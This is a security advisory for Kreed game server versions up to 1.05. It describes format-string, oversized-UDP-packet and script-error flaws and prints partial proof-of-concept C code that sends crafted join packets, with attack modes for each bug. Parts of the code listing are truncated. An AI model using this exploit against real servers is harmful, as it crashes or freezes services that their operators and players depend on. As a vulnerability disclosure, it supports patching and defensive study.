Vulnerable Systems:
* Kreed version 1.05 and prior
Format String Bugs
A malicious attacker is able to send a classical format string which might result in the crashing of the server, or worse. Classical format string patterns are %n%n%n, %s combinations, etc. The attacker needs only to send the format string in a message or use a nickname containing the special format string pattern in order to trigger undefined behavior in the part of the server.
Forced exit caused by 'message too long'
An attacker can force the server to exit by simply sending a UDP packet of 1401 bytes or more. This causes a "message too long" socket error in the server that handles it as a critical error and thus exists. While writing network code it is important to keep such facts in mind and be ready to accept or discard very large inputs.
Server temporary freezed by script errors
Several programming errors are present in the scripts used by the server to manage players. If an attacker is using a very long nickname or model type, the server host pops up several dialog boxes indicating script errors. However, until the administrator removes them, the game server is frozen and will not perform.
Listed here for convenience are the primary source files.
Proof Of Concept rwbits.h
/*
Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: http://aluigi.altervista.org
max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.
*/
unsigned long read_bits( // number read
unsigned long bits, // how much bits to read
unsigned char *in, // buffer from which to read the number
unsigned long in_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem,
seek = 0,
ret = 0,
mask = -1L;
unsigned long write_bits( // position where the stored number finishs
unsigned long data, // number to store
unsigned long bits, // how much bits to occupy
unsigned char *out, // buffer on which to store the number
unsigned long out_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem;
int build_kreed_pck(u_char *buff, int type, u_char *data);
void read_kreed_pck(u_char *buff, int len);
void kreed_info(void);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd,
len,
challenge,
attack,
version = KREEDVER;
u_short port = PORT;
u_char *buff,
*tmp,
*p,
*nick = NICKNAME;
setbuf(stdout, NULL);
fputs("\n"
"Kreed <= 1.05 format string, message too long and scripts bugs "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = in-game format string in client's nickname\n"
" 2 = Denial of Service caused by a packet of 1401 or more bytes\n"
" 3 = in-game annoying script dialog errors caused by too long nickname or model\n"
" values. The server is freezed until the messages are on the screen.\n"
"\n", argv[0], port);
exit(1);
}
sprintf(
tmp,
CONNECT,
version,
(int)(time(NULL) & 0xffff), // random port
challenge,
nick);
len = build_kreed_pck(
buff,
988, // connect
tmp);
fputs("- send join request\n", stdout);
SEND(buff, len);
if(timeout(sd) < 0) {
fputs("- server is temporary full or is already crashed, I check it\n", stdout);
close(sd);
break;
}
RECV;
close(sd);
read_kreed_pck(buff, len);
if(!strstr(buff, "client_connect")) {
p = strstr(buff, "version");
if(p) {
sscanf(p + 8, "%d", &version);
printf("- set version number to %d\n", version);
continue;
}
printf("\n"
"Error: your player has not been accepted for the following reason:\n"
"\n"
"%s\n"
"\n", buff);
exit(1);
}